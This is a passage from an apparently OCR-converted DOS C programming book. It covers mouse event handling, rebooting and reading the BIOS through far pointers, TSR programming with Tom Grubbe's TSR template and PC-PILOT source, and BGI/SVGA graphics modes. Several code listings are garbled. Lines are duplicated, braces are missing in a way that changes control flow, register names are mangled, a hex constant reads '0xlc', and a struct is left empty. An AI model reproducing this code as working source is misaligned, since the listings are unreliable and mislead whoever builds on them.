* /
void deinit_mouse( void )
{
if ( mouse_present )
{
/* deinstall our mouse handler by making int 33 never call it */
asm{
mov ax, 0ch
xor cx, cx /* mask == 0, handler never called */
int 033h
/* reset mouse driver */
xor ax, ax
int 033h
}
}
} /*--deinit_mouse( ) --------* /

```

Assembler function mouse_int ( ) calls mouse_event_func( ) whenever the mouse is moved, or a button is pressed or released. mouse_event_func ( ) points to mouse_handler ( ) which queues up the mouse events.

\subsection*{25.4 Request Mode or Event Mode?}

Request Mode is the one in which we call mouse interrupts to get mouse information or inputs. Whereas event mode is the one in which we install our own mouse handler to get mouse information. Request mode can be used for ordinary programming. In request mode, there is a chance for missing few inputs-mouse move or mouse click. But in Event mode, we can get all inputs. So professional programmers use Event mode.

\section*{Exercise}
1. Write all mouse functions using interrupt programming. Then find out each function's use. (Hint: Get into graphics mode for better results)

\section*{Suggested Projects}
1. Write a mouse driver program.
2. Write mouse functions that doesn't use interrupts or mouse.com. (Hint: You have to use ports)

\section*{2 26} "Riches gotten by doing wrong have no value."

\section*{Playing with Pointers}

Programmers so often praise C for its pointers. Pointers are more powerful! In this chapter, let's see some of the interesting programs that use pointers.

\subsection*{26.1 Rebooting with pointers}

Believe it or not, using pointers, we can even reboot our system! The following program reveals this.
```

\#define BOOT_ADR (0xFFFF0000UL)
\#define RESET_ADR (0x00400072UL)
\#define COLD_BOOT (0)
\#define WARM_BOOT (1)
void ReBoot( int type ) /* arg 0 = cold boot, 1 = warm */
{
void ((far *fp)()) = (void (far *) ()) BOOT_ADR;
if ( type==COLD_BOOT )
*(unsigned int far *) RESET_ADR = 0;
else
*(unsigned int far *) RESET_ADR = 0x1234;
(*fp) ( );
} /*--ReBoot( )------*/
int main( void )
{
int opt;
printf( " Rebooting Program \n\n"
"Warning: Reboot would result in data loss \a\n"
"0. Cold Boot \n"
"1. Warm Boot \n"
"2. Exit without booting \n"
"Enter your option: "
);
scanf( "%d", \&opt );
if ( opt==0 || opt==1 )
ReBoot( opt );
return(0);
} /*--main( ) -------*/

```

\subsection*{26.2 Identifying machine model and BIOS date}

The following program is by Bill Buckels. It finds the model of our PC and BIOS date using pointers!
```

/* getmodel.c by bill buckels 1990 */
/* This Program will Provide The Model Of The PC */
/* and its BIOS Release Date by peeking around at */
/* The Top Of The BIOS. */
\#undef MK_FP
\#undef peekb
\#include <stdlib.h> /* required for malloc */
\#include <stdio.h> /* required for printf */
/* undefine the above if they exist */
/* all compilers start on equal footing */
/* macros to peek into memory */
/* dynamically cast a far pointer from segment and offset info */
\#define MK_FP(seg,off) ((char far *)(((long) (seg) << 16) | (off)))
/* return a byte from a dynamically cast location in memory */
\#define peekb(a,b) (*((char far*)MK_FP((a),(b))))
/* memory address information */
\#define ROMSEG 0xf000
\#define ID_OFFSET 0xfffe
\#define MD_OFFSET 0xfff5
/* an array of characters */
char idbytes[10]={
'\x00', '\x9A', '\xFF', '\xFE', '\xFD',
'\xFC', '\xFB', '\xFA', '\xF9', '\xF8'};
/* an array of strings */
char *idstrings[]={
"Not In Our List",
"a COMPAQ plus",
"an IBM PC",
"a PC XT or Portable PC",
"a PC jr.",
"a Personal Computer AT or PS/2 Model 50 or 60",
"a PC XT after 1/10/86",
"a PS/2 Model 30",

```

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```

    "a Convertible PC",
    "a PS/2 Model 80",
    NULL};
/* a record structure to organize our data */
/* this new data object is called a MODELINFO */
typedef struct{
unsigned char modelbyte;
char idinfo[66];
}MODELINFO;
char *captions[3]={
"\nGETMODEL.EXE by Bill Buckels 1990\n\n",
"This Computer is ",
"The BIOS release date is "};
void getmodelinfo(void)
{
/* a pointer to our MODELINFO's info */
MODELINFO *modelinfo;
int num_records = 10 ; /* number of records in the data base */
unsigned char byte ; /* counters */
unsigned char mdl,num ;
char datestring[9] ; /* string space for the date */
char datelimit=8 ;
/* allocate the memory in the near heap */
modelinfo = malloc(num_records*sizeof(MODELINFO));
/* and fill the memory with the data in our arrays */
/* an example for use of indirection in structures */
for(byte=0;byte<num_records; byte++)
{
modelinfo[byte].modelbyte = idbytes[byte];
strcpy(modelinfo[byte].idinfo,
idstrings[byte]);
}
/* get the ID byte */
num = peekb(ROMSEG,ID_OFFSET);
mdl = 0;

```
```

    /* point to the matching entry in the structure */
    for(byte=0;byte<num_records;byte++)
            if(num==modelinfo[byte].modelbyte)mdl=byte;
    /* now get the date of the bios */
    /* and add it to our date string */
    for(byte=0; byte<datelimit;byte++)
            datestring[byte]=peekb(ROMSEG,MD_OFFSET+byte);
    /* terminate the string with a null character */
    datestring[datelimit]='\x00';
    /* print the model info, then the BIOS date */
    printf("%s%s\n",
            captions[1],
            modelinfo[mdl].idinfo);
    printf("%s%s\n",
            captions[2],
            datestring);
    /* and now we are done */
    }
int main( void )
{
puts(captions[0]);
getmodelinfo();
return(0);
}

```


\section*{TSR Programming}

TSR or "Terminate and Stay Resident" Programming is one of the interesting topics in DOS Programming. TSR programs are the one which seems to terminate, but remains resident in memory. So the resident program can be invoked at any time. Few TSR programs are written with the characteristic of TCR (Terminate Continue Running) i.e., TSR program seems to terminate, but continues to run in the background. TSR Programming is supposed to be an easy one, if you know the DOS internals. In this chapter, I have tried to explain the tough TSR Programming concept in a simpler manner.

\subsection*{27.1 DOS's non-reentrancy Problem}

If a function can be called before it is finished, it is called reentrant. Unfortunately, DOS functions are non-reentrant. That is, we should not call a DOS function when it executes the same. Now, our intuition suggests us to avoid the DOS functions in TSR programs!

\subsection*{27.2 Switching Programs}

As we know, DOS is not a multitasking operating system. So DOS is not meant for running two or more programs simultaneously! One of the major problems we face in TSR programming is that DOS's nature of switching programs. DOS handles switching programs, by simply saving the swapped-out program's complete register set and replacing it with the swapped-in program's registers. In DOS, if a program is put to sleep its registers are stored in an area called TCB (Task Control Block).

We must finish one process before another is undertaken. The main idea behind it is that, whenever we switch between programs, DOS switches our program's stack to its own internal set. And whatever that is pushed must be fully popped. For example, assume that we have a process currently running called previous-process, and we initiate another process in the meantime called current-process. In this case, the current-process will work fine, but when the previous-process just gets finished, it would find its stack data has been trashed by currentprocess. It is a serious injury! Everything will mess-up!

\subsection*{27.3 DOS Busy Flag}

From the above discussion, we understand that before popping up our TSR program, we must check whether DOS is currently executing an internal routine (i.e., busy) or not. Surprisingly DOS also checks its status using a flag called "DOS Busy Flag". This "DOS Busy Flag" feature is undocumented and some programmers refer this flag as "DOS Critical Flag". We
can also use this flag in our TSR program to check whether DOS is busy or not. For that, we have to use undocumented DOS function 34 h .

\subsection*{27.4 BIOS Functions}

As BIOS functions are reentrant, some programmers use BIOS functions in TSR programs. But professional programmers don't use BIOS functions, as the implementation of BIOS functions is quite different from machine to machine. In other words, BIOS is not compatible and there is no guarantee for its reentrancy. So for professional TSR programming, avoid BIOS functions too!

\subsection*{27.5 Popping up TSR}

TSR programs can be made to reside in memory with the keep ( ) function. Then how does our TSR program understand, it is being requested by user? In other words, when to popup our TSR program? For that, we have to capture few interrupts. We have already seen that interrupt routines will be called whenever an interrupt is been generated. So if we replace the existing interrupt routine with our routine, we can make our TSR program "live".


Normally, TSR programmers capture Keyboard interrupt (int 9h), Control-C interrupt (int 23h), Control-break interrupt (int 1bh), Critical error interrupt (int 24h), BIOS disk interrupt (int

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13h), Timer interrupt (int 1ch) and DOS Idle interrupt (int 28h). Indian TSR programmers often use int 8 h as Timer interrupt. But other international TSR programmers use int 1ch as Timer interrupt.

The idea is that we have to block Control-C interrupt, Control-break interrupt and Critical error interrupt. Otherwise, there is a chance that the control will pass onto another program when our TSR program is in action. And it will spoil everything!

We must also monitor other interrupts-Keyboard interrupt, BIOS disk interrupt, Timer interrupt and DOS Idle interrupt, and we have to chain them. I hope by looking at the figure, you can understand the concept better.

\subsection*{27.6 IBM's Interrupt-Sharing Protocol}

Almost all TSR utilities came with the property of unloading itself from the memory. But in order to unload the TSR, it must be the last TSR loaded. For example, if we run TSR utilities namely " \(X\) " and " \(Y\) ", we can unload only the last TSR loaded i.e., " \(Y\) ". The problem here is that of sharing of interrupts by TSR programs. IBM has suggested a protocol for sharing system interrupts. Even though, this protocol is meant for sharing hardware interrupts, it can be used for software interrupts too. It is especially useful for unloading TSR programs from memory, irrespective of its loading sequence. That is, if we follow this protocol standard, we can unload any TSR at any time!

So, in order to unload any TSR at any time, all the TSR programs must use this protocol. But unfortunately, TSR programmers don't use this standard. So I omit the discussion of this protocol. If you are very particular to know more about this protocol, checkout the Intshare.doc file found on CD .

\subsection*{27.7 Rules for TSR Programming}

It is wise to consider the following rules, when you programming TSR:
1. Avoid DOS functions. If possible, avoid BIOS functions too!
2. When DOS busy flag is non-zero, DOS is executing interrupt 21 h function. So we must wait and watch DOS busy flag.
3. When DOS is busy waiting for console input, we can disturb DOS regardless of the DOS busy flag setting. So you should watch interrupt 28 h .
4. Use "signature" mechanism to check whether the TSR is already loaded or not. And so prevent multiple copies.
5. Our TSR program must use its own stack, and not that of the running process.
6. Other TSR programs might be chained to interrupts. So we must also chain any interrupt vector that our program needs.
7. TSR programs should be compiled in Small memory model.
8. However you may need to compile in compact, large or huge memory model if you use file operations with getdta ( ) and setdta( ) functions.
9. TSR programs should be compiled with stack checking turned off.

\subsection*{27.8 TSR Template}

Tom Grubbe has written a utility called PC-PILOT Programmer's Pop-Up. PC-PILOT is a good substitute for the commercial Sidekick utility. Full source code of PC-PILOT is available on the CD . Source codes of PC-PILOT run up to several pages and so I have avoided listing the codes here. However, I list the codes of Tsr.c file. This file can be treated as a good TSR Template and it reduces the pain of TSR programming.
```

/*
TSR.C by Tom Grubbe
*/
\#include <stdio.h>
\#include <dos.h>
\#include <stdlib.h>
\#include <conio.h>
\#define TRUE 1
\#define FALSE 0
/* --- vectors ---- */
\#define DISK 0x13
\#define INT28 0x28
\#define KYBRD 0x9
\#define CRIT 0x24
\#define DOS 0x21
\#define CTRLC 0x23
\#define CTRLBRK 0x1b
\#define TIMER 0xlc
typedef struct {
} IREGS;
unsigned scancode;
unsigned keymask;
extern char signature[];
int unloading; /* TSR unload flag */
static void (*UserRtn) (void); /* Pointer to user's start routine */
static void (*InitRtn) (void); /* Pointer to user's initialization
routine */

```
```

/* ---- interrupt vector chains ----- */

```
/* ---- interrupt vector chains ----- */
static void interrupt (*oldbreak) (void);
static void interrupt (*oldbreak) (void);
static void interrupt (*oldctrlc) (void);
```

static void interrupt (*oldctrlc) (void);

```

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```

static void interrupt (*oldtimer)(void);
static void interrupt (*old28)(void);
static void interrupt (*oldkb)(void);
static void interrupt (*olddisk)(void);
static void interrupt (*oldcrit)(void);
/* ------ ISRs fot the TSR ---------- */
static void interrupt newtimer(void);
static void interrupt new28(void);
static void interrupt newkb(void);
static void interrupt newdisk(IREGS);
static void interrupt newcrit(IREGS);
static void interrupt newbreak(void);
static unsigned sizeprogram; /* TSR's program size */
static unsigned sizeprogram; /* DSR s program size */
static unsigned dosbusy; /* offset to InDos flag */
static unsigned psps[2]; /* table of DOS PSP addresses */
static int pspctr;
static int diskflag;
static unsigned mcbseg;
static char far *mydta;
static unsigned myss;
static unsigned mysp;
static unsigned intpsp;
static int running;
static int hotkey_flag;
/* \# of DOS PSP addresses */
/* disk BIOS busy flag */
/* address of 1st DOS mcb */
/* TSR's DTA */
/* TSR's stack segment */
/* TSR's stack pointer */
/* Interrupted PSP address */
/* TSR running indicator */
/* Hotkey pressed flag */

```
```

/* ------- local prototypes -------- */

```
/* ------- local prototypes -------- */
void tsr(void (*FPtr)(void), void (*InitFPtr)(void));
void tsr(void (*FPtr)(void), void (*InitFPtr)(void));
static void tsr_init(void);
static void resinit(void);
static void unload(void);
static void resterm(void);
static void pspaddr(void);
static void dores(void);
static void resident_psp(void);
static void interrupted_psp(void);
static int resident(char *signature);
static int test hotkeys(int ky);
#define signon(s) printf("\n%s %s", signature, s);
```

```
void tsr(void (*FPtr)(void), void (*InitFPtr)(void))
{
    UserRtn = FPtr;
    InitRtn = InitFPtr;
    tsr_init();
    if (resident(signature) == FALSE) {
                            /* ------- initial load of TSR program -------- */
#ifdef DEBUG
            (*UserRtn) ();
                    return;
#else
            /* ------- Terminate and Stay Resident -------- */
            (*InitRtn) (); /* user's init function */
            resinit();
#endif
        }
        signon("is already installed.\n");
}
/* --------- initialize TSR control values ----------- */
static void tsr_init()
{
    unsigned es, bx;
    /* --------- get address of DOS busy flag --------- */
    AH = 0x34;
    geninterrupt(DOS);
    dosseg = _ES;
    dosbusy = _BX;
    /* --------- get the seg addr of 1st DOS MCB ---------- */
    _AH = 0x52;
    geninterrupt(DOS);
    es = _ES;
    bx = _BX;
    mcbseg = peek(es, bx-2);
    /* --------- get address of resident program's dta --------- */
    mydta = getdta();
    /* --------- get address of PSP in DOS 2.x ---------- */
    if (_osmajor < 3)
    pspaddr();
}
/* --------- establish & declare residency ---------- */
static void resinit()
{
    myss = _SS;
    mysp = _SP;
```


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```
    oldtimer = getvect(TIMER);
    old28 = getvect(INT28);
    oldkb = getvect(KYBRD);
    olddisk = getvect(DISK);
    /* ------- attach vectors to resident program ------- */
    setvect(TIMER, newtimer);
    setvect(KYBRD, newkb);
    setvect(INT28, new28);
    setvect(DISK, newdisk);
    /* -------- compute program's size -------- */
    sizeprogram = myss + ((mysp+50) / 16) - _psp;
    /* -------- terminate and stay resident -------- */
    keep(0, sizeprogram);
}
/* --------- break handler ----------- */
static void interrupt newbreak()
{
    return;
}
/* ---------- critical error ISR --------- */
static void interrupt newcrit(IREGS ir)
{
    ir.ax = 0; /* ignore critical errors */
}
/* -------- BIOS disk functions ISR --------- */
static void interrupt newdisk(IREGS ir)
{
    diskflag++;
    (*olddisk)();
    ir.ax = _AX; /* for the register returns */
    ir.cx = _CX;
    ir.dx = _DX;
    ir.fl = _FLAGS;
    --diskflag;
}
/* -------- test for the hotkey ---------- */
static int test_hotkeys(int ky)
{
    static unsigned biosshift;
    biosshift = peekb(0, 0x417);
    if (ky == scancode && (biosshift & keymask) == keymask)
        hotkey_flag = !running;
```

```
    return hotkey_flag;
}
/* --------- keyboard ISR ---------- */
static void interrupt newkb()
{
    static int kbval;
    if (test_hotkeys(inportb(0x60)))
        /* reset the keyboard */
        kbval = inportb(0x61);
        outportb(0x61, kbval | 0x80);
        outportb(0x61, kbval);
        outportb(0x20, 0x20);
    }
    else
        (*oldkb) ();
}
/* --------- timer ISR ---------- */
static void interrupt newtimer()
{
    (*oldtimer)();
    test hotkeys(0);
    if (hotkey_flag && peekb(dosseg, dosbusy) == 0) {
        if (diskflag == 0) {
                        outportb(0x20, 0x20);
                hotkey_flag = FALSE;
                dores();
        }
    }
}
/* ---------- 0x28 ISR ---------- */
static void interrupt new28()
{
    (*old28)();
    if (hotkey_flag && peekb(dosseg, dosbusy) != 0) {
        hotkey_flag = FALSE;
        dores();
    }
}
/* ------ switch psp context from interrupted to TSR ------ */
static void resident_psp()
{
    int pp;
```

```
    if (_osmajor < 3) {
    /* --- save interrupted program's psp (DOS 2.x) ---- */
    intpsp = peek(dosseg, *psps);
    /* ------- set resident program's psp -------- */
    for (pp = 0; pp < pspctr; pp++)
        poke(dosseg, psps[pp], _psp);
    }
    else {
    /* ----- save interrupted program's psp ------ */
    intpsp = getpsp();
    /* ------ set resident program's psp ------- */
        AH = 0x50;
        BX = _psp;
    geninterrupt(DOS);
    }
}
/* -------- switch psp context from TSR to interrupted ---------- */
static void interrupted_psp()
{
    int pp;
    if (_osmajor < 3) {
            /* --- reset interrupted psp (DOS 2.x) ---- */
            for (pp = 0; pp < pspctr; pp++)
                poke(dosseg, psps[pp], intpsp);
    }
    else {
                            /* ------ reset interrupted psp ------- */
        AH = 0x50;
            BX = intpsp;
            geninterrupt(DOS);
    }
}
/* -------- execute the resident program ----------- */
static void dores()
{
    static char far *intdta; /* interrupted DTA */
    static unsigned intsp; /* " stack pointer */
    static unsigned intss; /* " stack segment */
    static unsigned ctrl_break; /* Ctrl-Break setting */
    running = TRUE; /* set TSR running metaphore */
    disable();
    intsp = _SP;
    intss = _SS;
```

```
    _SP = mysp;
    _SS = myss;
    oldcrit = getvect(CRIT);
    oldbreak = getvect(CTRLBRK);
    oldctrlc = getvect(CTRLC);
    setvect(CRIT, newcrit);
    setvect(CTRLBRK, newbreak);
    setvect(CTRLC, newbreak);
    ctrl break = getcbrk(); /* get ctrl break setting */
    setcbrk(0);
    intdta = getdta();
    setdta(mydta);
    resident_psp();
    enable();
    (*UserRtn)(); /* call the TSR program here */
    disable();
    interrupted_psp();
    setdta(intdta);
    setvect(CRIT, oldcrit);
    setvect(CTRLBRK, oldbreak);
    setvect(CTRLC, oldctrlc);
    setcbrk(ctrl_break);
    SP = intsp;
    SS = intss;
enable();
if (unloading)
    unload();
running = FALSE;
}
/* ------ test to see if the program is already resident -------- */
static int resident(char *signature)
{
char *sg;
unsigned df;
unsigned blkseg, mcbs = mcbseg;
df = _DS - _psp;
/* --- walk through mcb chain & search for TSR --- */
while (peekb(mcbs, 0) == 0x4d)
    blkseg = peek(mcbs, 1);
    if (peek(blkseg, 0) == 0x20cd) {
/* ---- this is a psp ---- */
if (blkseg == _psp)
    break; /* if the transient copy */
```

```
            for (sg = signature; *sg; sg++)
            if (*sg != peekb(blkseg+df, (unsigned)sg))
                        break;
                        if (*sg == '\0') /*- TSR is already resident -*/
                    return TRUE;
    }
    mcbs += peek(mcbs, 3) + 1;
    }
    return FALSE;
}
/* --------- find address of PSP (DOS 2.x) ------------ */
static void pspaddr()
{
    unsigned adr = 0;
    disable();
    /* ------- search for matches on the psp in dos --------- */
    while (pspctr < 2 &&
                            (unsigned)((dosseg<<4) + adr) < (mcbseg<<4)) {
            if (peek(dosseg, adr) == _psp) {
                    /* ------ matches psp, set phoney psp ------- */
                    AH = 0x50;
                    _BX = _psp + 1;
                    geninterrupt(DOS);
                    /* ---- did matched psp change to the phoney? ----- */
                    if (peek(dosseg, adr) == _psp + 1)
                        /*---- this is a DOS 2.x psp placeholder ----*/
                    psps[pspctr++] = adr;
                    /* ----- reset the original psp ------ */
                    _AH = 0x50;
                    _BX = _psp;
                    geninterrupt(DOS);
    }
    adr++;
    }
    enable();
}
/* -------- unload the rsident program --------- */
static void unload()
{
    if (getvect(DISK) == (void interrupt (*)()) newdisk)
            if (getvect(KYBRD) == newkb)
                    if (getvect(INT28) == new28)
                                    if (getvect(TIMER) == newtimer) {
                                    resterm();
```

                                    return;
                }
    /* --- another TSR is above us, cannot unload --- */
    putch(7);
    }
/* --------- TSR unload function ------------ */
static void resterm()
{
unsigned mcbs = mcbseg;
/* restore the interrupted vectors */
setvect(TIMER, oldtimer);
setvect(KYBRD, oldkb);
setvect(INT28, old28);
setvect(DISK, olddisk);
/* obliterate the signature */
*signature = '\0';
/* walk through mcb chain \&
release memory owned by the TSR */
while (peekb(mcbs, 0) == 0x4d) {
if (peek(mcbs, 1) == _psp)
freemem(mcbs+1);
mcbs += peek(mcbs, 3) + 1;
}
}

```

\subsection*{27.9 PC-PILOT}

In the last section we have seen the TSR Template that will be very useful for writing any TSR software. In this section, I just present the main program only. You can see how the TSR template (Tsr.c) is used in Pcpilot main program.
```

/*
PCPILOT.C - This is the main( ) module for PCPILOT.EXE.
It should be compiled in the small or tiny memory model.
*/

```
```

\#include <stdio.h>

```
#include <stdio.h>
#include <stdlib.h>
#include <stdlib.h>
#include <dos.h>
#include <dos.h>
#include <scr.h>
#include <scr.h>
#include <kbd.h>
#include <kbd.h>
int BorderClr = 0x09;
int TitleClr = 0x0c;
int TextClr = 0x0f;
int FooterClr = 0x0b;
```


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```
int HighlightClr = 0x4f;
int Code = 0; /* For Ascii() */
int BoxIdx = 0; /* For BoxCodes() */
int ClrIdx = 0x00; /* For ColorCodes() */
unsigned long NumIdx = OL;
int Row = 0, Col = 0;
void PcPilot(void);
void Initialize(void);
static int videomode(void);
void TitleScreen(void);
/* #define DEBUG */
char signature[] = "PC-PILOT";
extern unsigned _heaplen = 12288;
extern unsigned _stklen = 1024;
extern unsigned scancode[], keymask[];
extern int unloading; /* To UnInstall TSR */
void main(int argc, char *argv[])
{
    while (--argc > 0)
        ++argv;
        if (**argv != '-')
                break;
            if (tolower(argv[0][1]) == 'x')
                Initialize();
                PcPilot();
                return;
            }
        }
    Initialize();
    *scancode= 76; /* Alt(8) - '5'(76) on the keypad */
    *keymask = 8;
    tsr(PcPilot, TitleScreen);
}
typedef struct {
    char *str;
    int y;
} MENU;
MENU m[] = {
    " Ascii Table ", 8,
    " Box Characters ", 9,
    " Hex/Dec/Binary ", 10,
    " Keyboard Codes ", 11,
    " Ruler ", 12,
    " Color Codes ", 13,
    " Printer Setup ", 14,
```

```
    " Uninstall ", 15,
    " Exit
    ", 16
};
int Idx = 0;
int K;
int oldx, oldy;
static void DrawMenu(void);
static void HighLight(int code);
static void ExecuteMenuOptions(int index);
void PcPilot()
{
ScrGetCur(&oldx, &oldy, 0);
HideCur();
ScrPush();
DrawMenu();
for (;;) {
HighLight(1);
switch (K = KbdGetC()) {
case UP:
case LEFT:
HighLight(0);
if (--Idx < 0) Idx = 8;
break;
    case DN:
    case RIGHT:
                            HighLight(0);
                            if (++Idx > 8) Idx = 0;
                            break;
            case PGUP:
            case HOME:
                            HighLight(0);
                            Idx = 0;
                            break;
            case PGDN:
            case END:
                    HighLight(0);
                    Idx = 8;
                    break;
            case RET:
            if (Idx == 7 || Idx == 8) {
                        if (Idx == 7) unloading = 1;
                        ScrPop(1);
                        ScrSetCur(oldx, oldy, 0);
                        return;
            }
```

```
    if (Idx == 4) {
        ScrPop(1);
        Ruler();
        ScrPush();
        DrawMenu();
    }
    ExecuteMenuOptions(Idx);
    break;
    case ESC:
    ScrPop(1);
    ScrSetCur(oldx, oldy, 0);
    return;
    default:
    if ((K = K&0x00ff) != 0) {
            if (!strchr("abhkrcpue", tolower(K)))
                                    break;
            HighLight(0);
            switch (tolower(K)) {
                        case 'a': Idx = 0; break;
                        case 'b': Idx = 1; break;
                        case 'h': Idx = 2; break;
                        case 'k': Idx = 3; break;
                                case 'r': Idx = 4;
                                    ScrPop(1);
                                    Ruler();
                                    ScrPush();
                                    DrawMenu();
                                    break;
                            case 'c': Idx = 5; break;
                        case 'p': Idx = 6; break;
                        case 'u': Idx = 7;
                                unloading = 1;
                        case 'e': Idx = 8;
                                    ScrPop(1);
                                    ScrSetCur(oldx, oldy, 0);
                                    return;
                        default : continue;
            }
            HighLight(1);
            ExecuteMenuOptions(Idx);
            }
            break;
        }
    }
}
```

```
static void DrawMenu()
{
    register int i;
    ShadowBox(31,5,48,19, 2, BorderClr);
    PutStr(32,6, TitleClr, " PC - PILOT ");
    PutStr(31,7, BorderClr," \_= ");
    PutStr(31,17,BorderClr," "_);
    PutStr(32,18,FooterClr," %c %c <Esc> exits", 24,25);
    for (i=0; i<9; i++) {
        PutStr(32,8+i, TextClr, "%s", m[i].str);
        PutStr(33,8+i, FooterClr, "%c", m[i].str[1]);
    }
    HighLight(1);
}
static void HighLight(int code)
{
    switch (code) {
        case 0:
                            PutStr(32,m[Idx].y, TextClr, "%s", m[Idx].str);
                PutStr(33,m[Idx].y, FooterClr, "%c", m[Idx].str[1]);
                break;
        case 1:
                PutStr(32,m[Idx].y, ~TextClr & 0x7f, "%s", m[Idx].str);
        PutStr(33,m[Idx].y, ~FooterClr & 0x7f, "%c", m[Idx].str[1]);
                        break;
    }
}
static void ExecuteMenuOptions(int index)
{
    switch (index) {
        case 0: Ascii(); return;
        case 1: BoxCodes(); return;
        case 2: BaseConvert(); return;
        case 3: KeyCodes(); return;
        case 4: return;
        case 5: ColorCodes(); return;
        case 6: PrintCodes(); return;
        case 7: return;
    }
}
```


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```
static void Initialize()
{
    int vmode;
    vmode = videomode();
    if ((vmode != 2) && (vmode != 3) && (vmode != 7)) {
        printf("Must be in 80 column text mode.\n");
        exit(1);
    }
    InitScr();
    if (VideoMode == MONO) {
        BorderClr = 0x0f;
        TitleClr = 0x0f;
        TextClr = 0x07;
        FooterClr = 0x0f;
        HighlightClr = 0x70;
    }
}
static int videomode()
{
    union REGS r;
    r.h.ah = 15;
    return int86(0x10, &r, &r) & 255;
}
static void TitleScreen()
{
    Cls();
    ShadowBox(18,8,59,16, 2, BorderClr);
    PutStr(19,9, TextClr, " PC - PILOT ");
    PutStr(19,10,FooterClr," Programmer's Pop-Up ");
    PutStr(19,12, TextClr," FREEware written by Tom Grubbe ");
    PutStr(19,13, TextClr," Released to the Public Domain 01-12-90 ");
    PutStr(19,15, TextClr," Alt-5 (keypad) ");
    PutStr(23,15, TitleClr, "Press");
    PutStr(44,15, TitleClr, "To Activate");
    ScrSetCur(0,18,0);
}
```


## Suggested Projects

1. Write a Screen Thief utility. The Screen Thief will capture the screen, when a hotkey is pressed. Depending upon the mode you set, when you load the TSR, Screen Thief will store the screen into BMP or GIF or JPEG.

## Part III

## Advanced Graphics Programming

Graphics Programming can be classified into:

1. Graphics with BGI
2. Mode 13h Programming
3. VESA Programming

## Graphics with BGI

BGI stands for Borland Graphics Interface. Working with BGI refers to working with driver files (with BGI extension). So we are in need of BGI files that are to be initialized with initgraph( ) function. Programming with BGI is considered to be quite old. In my experience, BGI is used only by Indian Programmers! Other International Programmers use mode 13h. Even though BGI is slow, we can do lots of graphics with it. It will be highly beneficial for the beginners.

### 28.1 Common Mistake!

```
int gdriver = DETECT, gmode;
initgraph( &gdriver, &gmode, "c:\\tc\\bgi");
```

One of the common mistakes very often committed by Indian Programmers is to use DETECT macro with initgraph ( ) as shown above. First of all we must know what DETECT will do in a program: it automatically detects the system's graphics adapter and chooses the mode that provides the highest resolution for that adapter. So we must understand that DETECT may detect a mode, which we might not expect! And it will be a very serious problem! If you write a program for $640 \times 480$ resolution, and if DETECT detects a mode that has only $320 \times 200$ resolution, you cannot see a part of the image. It is a costly mistake!

So the right declaration for a bug free program is:

```
int gdriver = VGA, gmode = VGAHI;
initgraph( &gdriver, &gmode, "c:\\tc\\bgi");
```

Another problem with DETECT is that even if you have SVGA it will detect VGA.

### 28.2 More Colors

When BGI was introduced by the Borland people, they only had VGA (and other older adapters like EGA etc.). So they supplied the graphics package with BGI drivers that could drive the contemporary video adapter like VGA, EGA etc. At that time almost all the systems got VGA. VGA could support only limited number of colors(16 \& 256). So programmers who used BGI preferred 16 color mode of VGA, as it gives good resolution ( $640 \times 480$ ). Nowadays, we have SVGA. SVGA could even support $2^{24}$ (about $\mathbf{1 6}$ million) colors! So if we have BGI driver that supports SVGA, we can obtain the quality of Windows desktop screen in DOS Windows! But Borland doesn't provide BGI driver to support SVGA. Fortunately we have other commercial

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packages to support SVGA. Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers are the widely used drivers.

### 28.3 Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers

Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers are the best according to my knowledge. It is found on CD .But it is a shareware, if you use it, you must send fees to the author! Using Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers, we can obtain even $2^{24}$ colors! But before that, you must set the Windows screen properties to desired number of colors. In other words, if you set the screen to the maximum of 256 colors, you cannot get more colors in DOS Box using Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers.

Jordan Hargraphix Software's SuperVGA/Tweak BGI drivers currently support the following Modes:

- SuperVGA 16-color

0) Standard EGA/VGA $320 \times 200 \times 16$
1) Standard EGA/VGA $640 \times 200 \times 16$
2) Standard EGA/VGA $640 \times 350 \times 16$
3) Standard VGA 640x480x 16
4) SuperVGA/VESA 800x600x16
5) SuperVGA/VESA 1024x768x16
6) SuperVGA/VESA $1280 \times 1024 \times 16$

- SuperVGA 256-color

0) Standard VGA/MCGA $320 \times 200 \times 256$
1) 256 k Svga/VESA 640x400x256
2) $512 \mathrm{k} \mathrm{Svga/VESA} \mathrm{640x480x} 256$
3) $512 \mathrm{k} \mathrm{Svga/VESA} 800 \mathrm{x} 600 \times 256$
4) $1024 \mathrm{k} \mathrm{Svga} / \mathrm{VESA} 1024 \times 768 \times 256$
5) 256 k Svga 640x350x256
6) $1280 \mathrm{k}+$ VESA $1280 \times 1024 \times 256$

- SuperVGA 32768-color

0) $320 \times 200 \times 32768$
1) $640 \times 350 \times 32768$
2) $640 \times 400 \times 32768$
3) $640 \times 480 \times 32768$
4) $800 \times 600 \times 32768$
5) $1024 \times 768 \times 32768$
6) $1280 \times 1024 \times 32768$

- SuperVGA 65536-color

0) $320 \times 200 \times 65536$
1) $640 x 350 \times 65536$
2) $640 x 400 x 65536$
3) $640 x 480 x 65536$
4) $800 x 600 x 65536$
5) $1024 \times 768 \times 65536$
6) $1280 x 1024 x 65536$

- SuperVGA 24-bit color

0) $320 \times 200 \times 24$-bit
1) $640 \times 350 \times 24$-bit
2) $640 \times 400 \times 24$-bit
3) $640 \times 480 \times 24$-bit
4) $800 \times 600 \times 24$-bit
5) $1024 \times 768 \times 24$-bit
6) $1280 \times 1024 \times 24-$ bit

- Tweaked 16-color

0) $704 \times 528 \times 16$
1) $720 \times 540 \times 16$
2) $736 \times 552 \times 16$
3) $752 \times 564 \times 16$
4) $768 \times 576 \times 16$
5) $784 \times 588 \times 16$
6) $800 \times 600 \times 16$

- Tweaked 256-color

0) $320 x 400 \times 256$
1) $320 \times 480 \times 256$
2) $360 \times 480 \times 256$
3) $376 \times 564 \times 256$
4) $400 \times 564 \times 256$
5) $400 \times 600 \times 256$
6) $320 \times 240 \times 256$
7) $360 \times 350 \times 256$

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- S3 Accelerator 16/256/32768-color

0) $640 \times 480 \times 256$
1) $800 \times 600 \times 256$
2) $1024 \times 768 \times 256$
3) $800 \times 600 \times 16$
4) $1024 \times 768 \times 16$
5) $1280 x 960 \times 16$
6) $1280 \times 1024 \times 16$
7) $640 \times 480 \times 32768$

